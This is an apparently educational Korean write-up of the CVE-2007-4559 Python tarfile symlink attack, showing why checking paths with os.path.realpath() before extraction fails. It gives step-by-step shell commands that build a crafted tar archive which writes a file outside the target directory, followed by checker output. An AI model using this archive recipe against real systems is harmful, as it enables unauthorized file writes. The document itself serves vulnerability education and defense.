
os.path.realpath()가 의도된 디렉토리 외부로의 추출을 방지하지 못하는 이유를 보여주는 스크립트와 함께 CVE-2007-4559 Python tarfile 심볼릭 링크 공격의 교육적 시연.
이 문서는 파이썬 3.11.4 이전 버전에서 tar 파일 추출 시 기본 처리 방식이 간단한 심볼릭 링크 공격에 취약한 방법을 시연합니다. 아래 지침은 악성 페이로드를 제작하는 방법을 설명합니다. untar.py 스크립트는 3.11.4에 추가된 기능이 어떻게 작동하는지와 그 이유를 보여줍니다. 특히 모든 파일에 대해 모든 쓰기 전에 os.path.realpath()를 호출해야 하는 필요성을 강조합니다. 이 스크립트는 파이썬 >= 3.11.4에 포함된 추출 필터 기능에서 사용되는 것과 정확히 동일한 검사 방법을 사용합니다. 단, 파일을 디스크에 쓰지 않는다는 점이 다릅니다. 이를 통해 os.path.realpath()가 심볼릭 링크를 제대로 확인할 수 없어 tar 멤버가 의도된 파일 시스템 위치 외부에 기록될 수 있음을 보여줍니다.
untar.py - 파이썬 tarfile 라이브러리에 최근 구현된 향상된 tar 검증의 '이유'를 보여줍니다. os.path.realpath() 작동 방식 때문에 해당 링크가 이미 파일 시스템에 존재하지 않으면 심볼릭 링크를 확인하는 데 의존할 수 없습니다. 즉, 아카이브를 추출하기 전에 tar 멤버 경로를 검사할 때 os.path.realpath()만으로는 충분하지 않습니다. 아카이브 내 모든 멤버에 대해 모든 쓰기 전에 os.path.realpath()를 호출하여 악성 링크 활동을 감지해야 합니다. 자세한 내용은 PEP-706 및 tarfile 문서를 참조하세요.snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
untar.py를 다운로드하여 ./lab 디렉토리에 넣습니다.os.path.realpath()를 얼마나 쉽게 속일 수 있는지 확인하세요.snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-